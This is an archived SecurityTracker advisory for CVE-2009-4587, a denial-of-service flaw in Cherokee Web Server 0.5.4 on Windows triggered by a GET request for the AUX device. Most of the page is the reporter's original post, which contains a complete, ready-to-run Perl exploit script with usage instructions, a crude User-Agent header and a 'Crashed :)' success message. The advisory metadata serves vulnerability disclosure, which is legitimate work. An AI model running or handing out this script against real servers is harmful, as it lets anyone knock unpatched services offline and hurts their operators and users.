SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Server/CGI)  >   Cherokee Web Server Vendors:   Ortega, Alvaro Lopez
Cherokee Web Server GET AUX Request Lets Remote Users Deny Service
SecurityTracker Alert ID:  1023095
SecurityTracker URL:  http://securitytracker.com/id/1023095
CVE Reference:   CVE-2009-4587   (Links to External Site)
Updated:  Jan 12 2010
Original Entry Date:  Oct 28 2009
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 0.5.4
Description:   A vulnerability was reported in Cherokee Web Server. A remote user can cause denial of service conditions.

A remote user can send a specially crafted HTTP GET request for the AUX device to cause the target service to become unresponsive.

Usman Saeed of Xc0re Security Research Group reported this vulnerability.

Impact:   A remote user can cause the target service to become unresponsive.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.cherokee-project.com/ (Links to External Site)
Cause:   Resource error
Underlying OS:   Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Mon, 26 Oct 2009 08:05:13 -0500 (CDT)
Subject:  Cherokee Web Server 0.5.4 Denial Of Service

Disclaimer: [This code is for Educational Purposes , I would Not be
responsible for any misuse of this code]

[*] Download Page : http://www.cherokee-project.com/download/windows/

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation :


#!/usr/bin/perl
# Cherokee Web Server 0.5.4 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for
any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [25/10/09]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX";

$stuff = "GET /".$packet." HTTP/1.1\r\n" .
"User-Agent:Bitch/1.0 (Windows NT 5.1; U; en)\r\n" .
"Host:$host\r\n".
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n".
"Accept-Language: en-US,en;q=0.9\r\n".
"Accept-Charset: iso-8859-1,*,utf-8\r\n".
"Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n\r\n";


use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [25/10/09] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";

exit;
}

$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr => $host , PeerPort
=> $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [25/10/09] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";


print "\n";
print "[*] Initializing\n";
sleep(2);
print "[*] Sendin DOS Packet \n";
send ($sock , $stuff , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;

exit;



 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC